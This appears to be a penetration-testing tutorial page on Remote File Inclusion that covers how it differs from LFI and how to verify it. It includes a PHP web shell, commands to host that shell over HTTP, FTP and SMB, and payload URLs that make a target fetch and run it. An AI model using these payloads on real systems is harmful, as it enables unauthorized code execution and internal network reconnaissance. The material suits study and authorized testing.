Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Remote File Inclusion (RFI)

What it is

Remote File Inclusion is when a vulnerable sink can load resources from remote URLs (not just local paths). That enables:

  1. SSRF-style effects — reach localhost or internal ports/apps by including http://127.0.0.1:PORT/... (enumerating services the server can see).
  2. Remote code execution — host a malicious script in the app’s language and include it so the server fetches and executes it (when the primitive executes code, not only reads bytes).

The Server-side Attacks / SSRF material applies in parallel: RFI often doubles as a server-initiated HTTP client you control.

LFI vs RFI

  • RFI ⇒ usually LFI — APIs that allow http:// / ftp:// / UNC paths typically also allow local paths.
  • LFI ⇏ RFI — RFI may be impossible because:
    • The API does not allow URL wrappers (no remote schemes).
    • You only control part of the path and cannot set http://, https://, ftp://, etc.
    • Configuration disables remote inclusion (common by default).

Some functions fetch remote URLs but do not execute code (e.g. read-only file_get_contents in PHP, @Html.RemotePartial() read path in .NET per common teaching tables). Those cases still support SSRF / content leakage, not RCE via inclusion execution.

Execution-capable examples (when misused) include PHP include / include_once, Java import-style remote resolution, .NET include with remote partials, etc.—always verify per runtime and version.

Verifying RFI

  1. Config (PHP)allow_url_include must be On for classic PHP URL includes. You can try to read php.ini via LFI (e.g. Base64 path from prior notes) and grep allow_url_include; this can be misleading if the vulnerable call path still blocks URLs.
  2. Behavioral test (reliable) — Pass a URL and see if content is pulled and processed. Start with a local URL to reduce firewall/WAF noise, e.g. http://127.0.0.1:80/index.php.
    • If the page executes (rendered PHP), the sink likely executes included PHP → RCE via hosted shell is plausible.
    • If other local apps listen on 8080, etc., try those ports for internal recon (SSRF via inclusion).
  3. Caution — Including the same script that performs the include can cause recursive inclusion and DoS the app; prefer a small static test resource when probing.

RCE workflow (PHP-style)

  1. Write a minimal web shell, e.g. <?php system($_GET["cmd"]); ?>shell.php.
  2. Host it from your machine on a port often allowed outbound (80 / 443) in case egress is filtered.
  3. Trigger inclusion with your URL, e.g.
    http://<TARGET>/index.php?language=http://<YOUR_IP>:<PORT>/shell.php&cmd=id
  4. Confirm GET /shell.php on your listener; if the app appends .php, adjust the parameter (omit redundant extension) based on observed requests.

HTTP

sudo python3 -m http.server <LISTENING_PORT>

Payload pattern: language=http://<YOUR_IP>:<PORT>/shell.php&cmd=<command>

FTP

Use when HTTP is blocked or http:// is stripped by a WAF.

sudo python -m pyftpdlib -p 21

Payload: language=ftp://<YOUR_IP>/shell.php&cmd=id
PHP often tries anonymous FTP; if auth is required: ftp://user:pass@<HOST>/shell.php.

SMB / UNC (Windows targets)

On Windows, UNC paths can reference remote SMB shares like normal files; allow_url_include is not required for this class of inclusion.

impacket-smbserver -smb2support share "$(pwd)"

Payload pattern: language=\\<YOUR_IP>\share\shell.php&cmd=whoami

Reality check: pulling SMB from across the internet is often blocked by policy or networking; same-LAN or reachable share scenarios are more typical.

Relationship to SSRF

RFI that accepts HTTP(S) URLs is a controlled outbound request primitive: use it to map internal HTTP services, alternate ports, and metadata endpoints—same mindset as SSRF, with inclusion-specific parsing and execution rules layered on top.